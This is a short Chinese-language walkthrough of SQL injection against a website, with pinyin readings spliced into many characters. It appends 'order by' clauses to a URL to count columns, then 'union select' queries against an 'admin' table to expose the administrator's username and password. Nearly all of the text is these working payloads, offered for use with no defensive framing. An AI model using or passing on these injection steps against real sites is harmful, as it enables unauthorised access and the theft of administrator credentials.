首先，在網(wǎng)站后面?? order by11(數(shù)字可以隨意)，以此來判斷字段數(shù)目（比如剛開始注入11，載入成功，在注入12，失敗，那就是11）

同樣添加語(yǔ)句【order by 12】頁(yè)面報(bào)錯(cuò)，所以此站字段長(zhǎng)度為11

然后，在鏈接后面添加語(yǔ)句【union select 1,2,3,4,5,6,7,8,9,10,11 from admin（表名）】，進(jìn)行聯(lián)合查詢，來暴露可查詢的字段編號(hào)。

在連接后面添加語(yǔ)句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】，即可暴出管理員用戶名和密碼